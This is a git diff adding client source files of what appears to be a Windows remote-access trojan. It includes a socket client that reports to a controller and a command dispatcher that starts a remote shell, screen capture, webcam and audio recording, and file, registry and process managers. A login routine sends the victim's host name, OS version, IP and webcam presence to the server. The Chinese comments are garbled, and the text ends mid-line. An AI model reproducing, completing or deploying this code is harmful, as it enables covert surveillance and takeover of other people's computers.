CFileManager::SendDiskDriverList() ; + ULONG CFileManager::SendFilesList(char* szDirectoryPath); + VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer); + + BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath); + char m_szOperatingFileName[MAX_PATH]; + __int64 m_OperatingFileLength; + VOID CFileManager::GetFileData() ; + VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength); + + ULONG m_ulTransferMode; + VOID CFileManager::SetTransferMode(LPBYTE szBuffer); + VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath); +}; + +#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp new file mode 100644 index 0000000..27d526b --- /dev/null +++ b/client/IOCPClient.cpp @@ -0,0 +1,364 @@ +// IOCPClient.cpp: implementation of the IOCPClient class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "IOCPClient.h" +#include +#include "zconf.h" +#include "zlib.h" +#include +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +VOID IOCPClient::setManagerCallBack(class CManager* Manager) +{ + m_Manager = Manager; +} + + +IOCPClient::IOCPClient(bool exit_while_disconnect) +{ + WSADATA wsaData; + WSAStartup(MAKEWORD(2, 2), &wsaData); + + m_sClientSocket = INVALID_SOCKET; + m_hWorkThread = NULL; + m_bWorkThread = S_STOP; + + memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); + + m_bIsRunning = TRUE; + m_bConnected = FALSE; + + InitializeCriticalSection(&m_cs); + m_exit_while_disconnect = exit_while_disconnect; +} + +IOCPClient::~IOCPClient() +{ + m_bIsRunning = FALSE; + + if (m_sClientSocket!=INVALID_SOCKET) + { + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + } + + if (m_hWorkThread!=NULL) + { + CloseHandle(m_hWorkThread); + m_hWorkThread = NULL; + } + + WSACleanup(); + + while (S_RUN == m_bWorkThread) + Sleep(10); + + Sleep(5000); + + DeleteCriticalSection(&m_cs); + + m_bWorkThread = S_END; +} + +BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) +{ + m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); // + + if (m_sClientSocket == SOCKET_ERROR) + { + return FALSE; + } + + //sockaddr_inṹ Ҳض˵Ľṹ + sockaddr_in ServerAddr; + ServerAddr.sin_family = AF_INET; // IP + ServerAddr.sin_port = htons(uPort); + ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP); + + if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) + { + if (m_sClientSocket!=INVALID_SOCKET) + { + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + } + return FALSE; + } + + const int chOpt = 1; // True + // Set KeepAlive , ֹ˲ + if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE, + (char *)&chOpt, sizeof(chOpt)) == 0) + { + // óʱϸϢ + tcp_keepalive klive; + klive.onoff = 1; // ñ + klive.keepalivetime = 1000 * 60 * 3; // 3ӳʱ Keep Alive + klive.keepaliveinterval = 1000 * 5; // ԼΪ5 Resend if No-Reply + WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive), + NULL, 0,(unsigned long *)&chOpt,0,NULL); + } + if (m_hWorkThread == NULL){ + m_hWorkThread = (HANDLE)CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL); + m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; + } + std::cout<<"ӷ˳ɹ.\n"; + m_bConnected = TRUE; + return TRUE; +} + +DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) +{ + IOCPClient* This = (IOCPClient*)lParam; + char szBuffer[MAX_RECV_BUFFER] = {0}; + fd_set fd; + const struct timeval tm = { 2, 0 }; + + while (This->IsRunning()) // û˳һֱѭ + { + if(!This->IsConnected()) + { + Sleep(50); + continue; + } + FD_ZERO(&fd); + FD_SET(This->m_sClientSocket, &fd); + int iRet = select(NULL, &fd, NULL, NULL, &tm); + if (iRet <= 0) + { + if (iRet == 0) Sleep(50); + else + { + printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); + This->Disconnect(); //մ + if(This->m_exit_while_disconnect) + break; + } + } + else if (iRet > 0) + { + memset(szBuffer, 0, sizeof(szBuffer)); + int iReceivedLength = recv(This->m_sClientSocket, + szBuffer,sizeof(szBuffer), 0); //ض˷ + if (iReceivedLength <= 0) + { + int a = GetLastError(); + This->Disconnect(); //մ + if(This->m_exit_while_disconnect) + break; + }else{ + //ȷվ͵OnRead,תOnRead + This->OnServerReceiving((char*)szBuffer, iReceivedLength); + } + } + } + This->m_bWorkThread = S_STOP; + This->m_bIsRunning = FALSE; + + return 0xDEAD; +} + + +VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) +{ + try + { + assert (ulLength > 0); + //½ӵݽнѹ + m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength); + + //ǷͷС ǾͲȷ + while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) + { + char szPacketFlag[FLAG_LENGTH] = {0}; + CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH); + //жͷ + if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) + { + throw "Bad Buffer"; + } + + ULONG ulPackTotalLength = 0; + CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), + sizeof(ULONG)); + + //--- ݵĴСȷж + if (ulPackTotalLength && + (m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength) + { + m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//ȡͷ shine + + m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); + + ULONG ulOriginalLength = 0; + m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); + + //50 + ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; + PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; + + m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); + + int iRet = uncompress(DeCompressedBuffer, + &ulOriginalLength, CompressedBuffer, ulCompressedLength); + + if (iRet == Z_OK)//ѹɹ + { + m_DeCompressedBuffer.ClearBuffer(); + m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer, + ulOriginalLength); + + //ѹõݺͳȴݸManagerд ע˶̬ + //m_pManagerе಻һɵõOnReceiveһ + m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), + m_DeCompressedBuffer.GetBufferLength()); + } + else + throw "Bad Buffer"; + + delete [] CompressedBuffer; + delete [] DeCompressedBuffer; + } + else + break; + } + }catch(...) + { + m_CompressedBuffer.ClearBuffer(); + } +} + + +int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength) //Hello +{ + m_WriteBuffer.ClearBuffer(); + + if (ulOriginalLength > 0) + { + //1.001Ҳѹռõڴռԭһ +12 + //ֹ// HelloWorld 10 22 + //ѹ ѹ㷨 ΢ṩ + //nSize = 436 + //destLen = 448 + unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; + LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + + int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); + + if (iRet != Z_OK) + { + delete [] CompressedBuffer; + return FALSE; + } + + ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; + + m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag)); + + m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); + // 5 4 + //[Shine][ 30 ] + + m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); + // 5 4 4 + //[Shine][ 30 ][5] + + m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); + + delete [] CompressedBuffer; + CompressedBuffer = NULL; + } + // ֿ鷢 + //shine[0035][0010][HelloWorld+12] + return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), + MAX_SEND_BUFFER); +} + +// 5 2 // 2 2 1 +BOOL IOCPClient::SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength) +{ + //1025 + int iReturn = 0; //˶ + const char* Travel = (char *)szBuffer; + int i = 0; + ULONG ulSended = 0; + ULONG ulSendRetry = 15; + // η + + for (i = ulLength; i >= ulSplitLength; i -= ulSplitLength) + { + int j = 0; + for (; j < ulSendRetry; j++) + { + iReturn = send(m_sClientSocket, Travel, ulSplitLength,0); + if (iReturn > 0) + { + break; + } + } + if (j == ulSendRetry) + { + return FALSE; + } + + ulSended += iReturn; + Travel += ulSplitLength; + Sleep(15); //ƶݻ + } + // IJ + if (i>0) //1024 + { + int j = 0; + for (; j < ulSendRetry; j++) //nSendRetry = 15 + { + iReturn = send(m_sClientSocket, (char*)Travel,i,0); + + Sleep(15); + if (iReturn > 0) + { + break; + } + } + if (j == ulSendRetry) + { + return FALSE; + } + ulSended += iReturn; //0+=1000 + } + if (ulSended == ulLength) + { + return TRUE; + } + else + { + return FALSE; + } +} + + +VOID IOCPClient::Disconnect() +{ + std::cout<<"Ͽͷ˵.\n"; + + CancelIo((HANDLE)m_sClientSocket); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + + m_bConnected = FALSE; +} + + +VOID IOCPClient::RunEventLoop() +{ + OutputDebugStringA("======> RunEventLoop begin\n"); + while (m_bIsRunning) Sleep(200); + OutputDebugStringA("======> RunEventLoop end\n"); +} diff --git a/client/IOCPClient.h b/client/IOCPClient.h new file mode 100644 index 0000000..6b10a0b --- /dev/null +++ b/client/IOCPClient.h @@ -0,0 +1,69 @@ +// IOCPClient.h: interface for the IOCPClient class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) +#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include +#include +#include +#include "Buffer.h" +#include "Manager.h" + +#pragma comment(lib,"ws2_32.lib") + +#define MAX_RECV_BUFFER 1024*8 +#define MAX_SEND_BUFFER 1024*8 +#define FLAG_LENGTH 5 +#define HDR_LENGTH 13 + +enum { S_STOP = 0, S_RUN, S_END }; + +class IOCPClient +{ +public: + IOCPClient(bool exit_while_disconnect = false); + virtual ~IOCPClient(); + SOCKET m_sClientSocket; + + BOOL m_bWorkThread; + HANDLE m_hWorkThread; + + BOOL ConnectServer(char* szServerIP, unsigned short uPort); + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + + VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); + int OnServerSending(char* szBuffer, ULONG ulOriginalLength); + BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength); + + BOOL IsRunning() const + { + return m_bIsRunning; + } + + BOOL m_bIsRunning; + BOOL m_bConnected; + CBuffer m_WriteBuffer; + CBuffer m_CompressedBuffer; + CBuffer m_DeCompressedBuffer; + + char m_szPacketFlag[FLAG_LENGTH]; + + VOID setManagerCallBack(class CManager* Manager); + + VOID Disconnect(); + VOID RunEventLoop(); + bool IsConnected() const { return m_bConnected; } + +public: + class CManager* m_Manager; + CRITICAL_SECTION m_cs; + bool m_exit_while_disconnect; +}; + +#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp new file mode 100644 index 0000000..69dba74 --- /dev/null +++ b/client/KernelManager.cpp @@ -0,0 +1,135 @@ +// KernelManager.cpp: implementation of the CKernelManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "KernelManager.h" +#include "Common.h" +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject) +{ + memset(m_hThread, NULL, sizeof(ThreadInfo) * 0x1000); + m_ulThreadCount = 0; +} + +CKernelManager::~CKernelManager() +{ + int i = 0; + for (i=0;i<0x1000;i++) + { + if (m_hThread->h!=0) + { + CloseHandle(m_hThread[i].h); + m_hThread[i].h = NULL; + } + } + m_ulThreadCount = 0; +} + +VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true); + m_hThread[m_ulThreadCount].p = pNew; + + switch(szBuffer[0]) + { + case COMMAND_TALK: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopTalkManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_SHELL: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopShellManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_SYSTEM: //Զ̹̽ + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)LoopProcessManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_WSLIST: //Զ̴ڹ + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopWindowManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_BYE: + { + BYTE bToken = COMMAND_BYE; //ͷļ Common.h + m_ClientObject->OnServerSending((char*)&bToken, 1); + break; + } + + case COMMAND_SCREEN_SPY: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopScreenManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_LIST_DRIVE : + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopFileManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_WEBCAM: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopVideoManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_AUDIO: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopAudioManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_REGEDIT: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopRegisterManager, + pNew, 0, NULL);; + break; + } + + case COMMAND_SERVICES: + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, + (LPTHREAD_START_ROUTINE)LoopServicesManager, + pNew, 0, NULL); + break; + } + + default: + { + OutputDebugStringA("======> Error operator\n"); + m_hThread[m_ulThreadCount].p = NULL; + delete pNew; + pNew = NULL; + break; + } + } +} diff --git a/client/KernelManager.h b/client/KernelManager.h new file mode 100644 index 0000000..b0bd53e --- /dev/null +++ b/client/KernelManager.h @@ -0,0 +1,34 @@ +// KernelManager.h: interface for the CKernelManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) +#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include + +// ߳Ϣṹ +struct ThreadInfo +{ + HANDLE h; + IOCPClient *p; + ThreadInfo() : h(NULL), p(NULL){ } +}; + +class CKernelManager : public CManager +{ +public: + CKernelManager(IOCPClient* ClientObject); + virtual ~CKernelManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + + ThreadInfo m_hThread[0x1000]; + ULONG m_ulThreadCount; +}; + +#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp new file mode 100644 index 0000000..741d219 --- /dev/null +++ b/client/LoginServer.cpp @@ -0,0 +1,66 @@ +#include "StdAfx.h" +#include "LoginServer.h" +#include "Common.h" + + +int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed) +{ + LOGIN_INFOR LoginInfor = {0}; + LoginInfor.bToken = TOKEN_LOGIN; // Ϊ¼ + //òϵͳϢ + LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // עת + + //PCName + char szPCName[MAX_PATH] = {0}; + gethostname(szPCName, MAX_PATH); + + //ClientIP + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int iLen = sizeof(sockaddr_in); + getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen); + + DWORD dwCPUMHz; + dwCPUMHz = CPUClockMHz(); + + BOOL bWebCamIsExist = WebCamIsExist(); + + memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); + LoginInfor.dwSpeed = dwSpeed; + LoginInfor.dwCPUMHz = dwCPUMHz; + LoginInfor.ClientAddr = ClientAddr.sin_addr; + LoginInfor.bWebCamIsExist = bWebCamIsExist; + + int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR)); + + return iRet; +} + + +DWORD CPUClockMHz() +{ + HKEY hKey; + DWORD dwCPUMHz; + DWORD dwReturn = sizeof(DWORD); + DWORD dwType = REG_DWORD; + RegOpenKey(HKEY_LOCAL_MACHINE, + "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey); + RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn); + RegCloseKey(hKey); + return dwCPUMHz; +} + +BOOL WebCamIsExist() +{ + BOOL bOk = FALSE; + + char szDeviceName[100], szVer[50]; + for (int i = 0; i < 10 && !bOk; i++) + { + bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), + //ϵͳAPI + szVer, sizeof(szVer)); + } + return bOk; +} diff --git a/client/LoginServer.h b/client/LoginServer.h new file mode 100644 index 0000000..c647916 --- /dev/null +++ b/client/LoginServer.h @@ -0,0 +1,21 @@ +#pragma once + +#include "IOCPClient.h" +#include + +#pragma comment(lib,"Vfw32.lib") + +typedef struct _LOGIN_INFOR +{ + BYTE bToken; // = 1 //½Ϣ + OSVERSIONINFOEX OsVerInfoEx; // 汾Ϣ + DWORD dwCPUMHz; // CPUƵ + IN_ADDR ClientAddr; // 洢32λIPv4ĵַݽṹ + char szPCName[MAX_PATH]; // + BOOL bWebCamIsExist; // Ƿͷ + DWORD dwSpeed; // +}LOGIN_INFOR,*PLOGIN_INFOR; + +int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed); +DWORD CPUClockMHz(); +BOOL WebCamIsExist(); diff --git a/client/Manager.cpp b/client/Manager.cpp new file mode 100644 index 0000000..4117f94 --- /dev/null +++ b/client/Manager.cpp @@ -0,0 +1,39 @@ +// Manager.cpp: implementation of the CManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "Manager.h" + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CManager::CManager(IOCPClient* ClientObject) +{ + m_ClientObject = ClientObject; + m_ClientObject->setManagerCallBack(this); + + m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); +} + +CManager::~CManager() +{ + if (m_hEventDlgOpen!=NULL) + { + CloseHandle(m_hEventDlgOpen); + m_hEventDlgOpen = NULL; + } +} + +VOID CManager::WaitForDialogOpen() +{ + WaitForSingleObject(m_hEventDlgOpen, INFINITE); + //Sleep,ΪԶ̴ڴInitDialogзCOMMAND_NEXTʾҪһʱ + Sleep(150); +} + +VOID CManager::NotifyDialogIsOpen() +{ + SetEvent(m_hEventDlgOpen); +} diff --git a/client/Manager.h b/client/Manager.h new file mode 100644 index 0000000..6d19b12 --- /dev/null +++ b/client/Manager.h @@ -0,0 +1,32 @@ +// Manager.h: interface for the CManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) +#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "IOCPClient.h" + + +class IOCPClient; + +class CManager +{ +public: + CManager(IOCPClient* ClientObject); + virtual ~CManager(); + + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength){} + IOCPClient* m_ClientObject; + HANDLE m_hEventDlgOpen; + VOID WaitForDialogOpen(); + VOID NotifyDialogIsOpen(); + + int Send(LPBYTE lpData, UINT nSize); +}; + +#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp new file mode 100644 index 0000000..864cbc3 --- /dev/null +++ b/client/RegisterManager.cpp @@ -0,0 +1,62 @@ +// RegisterManager.cpp: implementation of the CRegisterManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "RegisterManager.h" +#include "Common.h" +#include +using namespace std; +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + BYTE bToken=TOKEN_REGEDIT; + m_ClientObject->OnServerSending((char*)&bToken, 1); +} + +CRegisterManager::~CRegisterManager() +{ + cout<<"CRegisterManager "<3){ + Find(szBuffer[1],(char*)(szBuffer+2)); + }else{ + Find(szBuffer[1],NULL); //Root + } + break; + default: + break; + } +} + +VOID CRegisterManager::Find(char bToken, char *szPath) +{ + RegisterOperation Opt(bToken); + if(szPath!=NULL) + { + Opt.SetPath(szPath); + } + char *szBuffer= Opt.FindPath(); + if(szBuffer!=NULL) + { + m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + //Ŀ¼µĿ¼ + LocalFree(szBuffer); + } + szBuffer = Opt.FindKey(); + if(szBuffer!=NULL) + { + //Ŀ¼µļ + m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); + } +} diff --git a/client/RegisterManager.h b/client/RegisterManager.h new file mode 100644 index 0000000..cc65dbe --- /dev/null +++ b/client/RegisterManager.h @@ -0,0 +1,24 @@ +// RegisterManager.h: interface for the CRegisterManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) +#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "RegisterOperation.h" + +class CRegisterManager : public CManager +{ +public: + CRegisterManager(IOCPClient* ClientObject, int n); + virtual ~CRegisterManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + VOID CRegisterManager::Find(char bToken, char *szPath); +}; + +#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp new file mode 100644 index 0000000..5648937 --- /dev/null +++ b/client/RegisterOperation.cpp @@ -0,0 +1,198 @@ +// RegisterOperation.cpp: implementation of the RegisterOperation class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "RegisterOperation.h" +#include "Common.h" +#include +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +enum MYKEY{ + MHKEY_CLASSES_ROOT, + MHKEY_CURRENT_USER, + MHKEY_LOCAL_MACHINE, + MHKEY_USERS, + MHKEY_CURRENT_CONFIG +}; + + +enum KEYVALUE{ + MREG_SZ, + MREG_DWORD, + MREG_BINARY, + MREG_EXPAND_SZ +}; + +struct REGMSG{ + int count; //ָ + DWORD size; //ִС + DWORD valsize; //ֵС + +}; +RegisterOperation::RegisterOperation(char bToken) +{ + switch(bToken){ + case MHKEY_CLASSES_ROOT: + MKEY=HKEY_CLASSES_ROOT; + break; + case MHKEY_CURRENT_USER: + MKEY=HKEY_CURRENT_USER; + break; + case MHKEY_LOCAL_MACHINE: + MKEY=HKEY_LOCAL_MACHINE; + break; + case MHKEY_USERS: + MKEY=HKEY_USERS; + break; + case MHKEY_CURRENT_CONFIG: + MKEY=HKEY_CURRENT_CONFIG; + break; + default: + MKEY=HKEY_LOCAL_MACHINE; + break; + } + + ZeroMemory(KeyPath,MAX_PATH); +} + +RegisterOperation::~RegisterOperation() +{ + +} + + +char* RegisterOperation::FindPath() +{ + char *szBuffer=NULL; + HKEY hKey; //עؾ + /*ע User kdjfjkf\kdjfkdjf\ */ + if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)// + { + DWORD dwIndex=0,NameCount,NameMaxLen; + DWORD KeySize,KeyCount,KeyMaxLen,MaxDateLen; + //ö + if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14 + &KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS) + { + return NULL; + } + //һ㱣ʩ + KeySize=KeyMaxLen+1; + if(KeyCount>0&&KeySize>1){ + int Size=sizeof(REGMSG)+1; + + //buf=new char[KeyCnt*KeySize+size+1]; + DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] + szBuffer=(char*)LocalAlloc(LPTR, DataSize); + ZeroMemory(szBuffer,DataSize); + szBuffer[0]=TOKEN_REG_PATH; //ͷ + REGMSG msg; //ͷ + msg.size=KeySize; + msg.count=KeyCount; + memcpy(szBuffer+1,(void*)&msg,Size); + + char * szTemp=new char[KeySize]; + for(dwIndex=0;dwIndex0&&MaxDateLen>0) + { + DataSize=MaxDateLen+1; + NameSize=NameMaxLen+100; + REGMSG msg; + msg.count=NameCount; //ܸ + msg.size=NameSize; //ִС + msg.valsize=DataSize; //ݴС + int msgsize=sizeof(REGMSG); + // ͷ + DWORD size=sizeof(REGMSG)+ + sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; + szBuffer = (char*)LocalAlloc(LPTR, size); + ZeroMemory(szBuffer,size); + szBuffer[0]=TOKEN_REG_KEY; //ͷ + memcpy(szBuffer+1,(void*)&msg,msgsize); //ͷ + + szValueName=(char *)malloc(NameSize); + szValueDate=(LPBYTE)malloc(DataSize); + + char *szTemp=szBuffer+msgsize+1; + for(dwIndex=0;dwIndex 1000 +#pragma once +#endif // _MSC_VER > 1000 + +class RegisterOperation +{ +public: + RegisterOperation(char bToken); + virtual ~RegisterOperation(); + char* RegisterOperation::FindPath(); + HKEY MKEY; + char KeyPath[MAX_PATH]; + void RegisterOperation::SetPath(char *szPath); + char* RegisterOperation::FindKey(); +}; + +#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) diff --git a/client/Res/msg.wav b/client/Res/msg.wav new file mode 100644 index 0000000..056c40e Binary files /dev/null and b/client/Res/msg.wav differ diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp new file mode 100644 index 0000000..24feb3a --- /dev/null +++ b/client/ScreenManager.cpp @@ -0,0 +1,312 @@ +// ScreenManager.cpp: implementation of the CScreenManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ScreenManager.h" +#include "Common.h" +#include +#if _MSC_VER <= 1200 +#include +#else +#include +#endif +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +#define WM_MOUSEWHEEL 0x020A +#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam)) + +CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + m_bIsWorking = TRUE; + m_bIsBlockInput = FALSE; + + m_ScreenSpyObject = new CScreenSpy(16); + + if (m_ScreenSpyObject==NULL) + { + return; + } + m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); +} + + +DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) +{ + CScreenManager *This = (CScreenManager *)lParam; + + This->SendBitMapInfor(); //bmpλͼṹ + // ȿƶ˶Ի + + This->WaitForDialogOpen(); + + This->SendFirstScreen(); + while (This->m_bIsWorking) + { + This->SendNextScreen(); + } + + cout<<"ScreenWorkThread Exit"<GetBISize(); //С + LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, + ulLength, MEM_COMMIT, PAGE_READWRITE); + + szBuffer[0] = TOKEN_BITMAPINFO; + //ォbmpλͼṹͳȥ + memcpy(szBuffer + 1, 